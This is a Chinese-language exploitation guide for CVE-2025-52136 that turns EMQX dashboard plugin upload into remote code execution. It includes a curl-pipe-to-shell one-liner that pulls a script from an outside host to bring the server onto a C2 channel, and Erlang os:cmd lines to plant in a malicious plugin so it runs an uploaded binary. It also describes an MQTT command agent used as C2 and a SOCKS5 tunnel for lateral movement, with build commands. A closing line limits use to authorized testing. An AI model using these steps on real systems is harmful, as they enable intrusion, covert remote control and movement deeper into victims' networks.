
针对CVE-2025-52136的漏洞利用,可通过插件上传在EMQX控制面板上实现RCE,并借助基于MQTT的命令代理和SOCKS5隧道进行带外C2及网络横向移动。
https://github.com/ricardojoserf/emqx-RCE
原利用方式通过上传emqx插件,在插件模板的代码中添加Erlang os模块调用系统命令执行RCE
出网环境,环境默认存在curl,可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2
目标不出网时,由于EMQX本身即为MQTT消息服务器,因此可以直接配合插件上传,在EMQX服务器执行上传的可执行程序 使用EMQX做MQTT消息队列核心,部署的程序直接作为一个“系统命令代理”,订阅客户端发送的命令,再把执行结果发布回主题。
+-------------+
| 客户端 |
| 发送命令消息 |
| 主题: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| 命令代理程序 |
| 订阅 rx/cmd |
| 执行系统命令 |
| 发布 tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
随后利用原作者利用思路,my_emqx_plugin.erl添加三行
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
编译完插件后,利用任意压缩工具将mqtt_agent放到my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\目录即可

上传插件

随后在客户端将tx/cmd添加订阅,主题为rx/cmd,即可食用

同理,通过MQTT在 Client ↔ Agent 间可以开一个隧道,并把 TCP 数据双向透过 MQTT 转发给内网 Agent,再由 Agent 连接到内网目标主机即可实现利用内网穿透。
此方案存在一定缺陷: 1.MQTT 带宽与延迟 2.高并发连接
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
使用方式类似上述rce过程,这里直接起用本地端口做socks5隧道转发流量
代理隧道自行编译食用
该工具仅适用于在授权环境/测试环境进行使用,严禁非法利用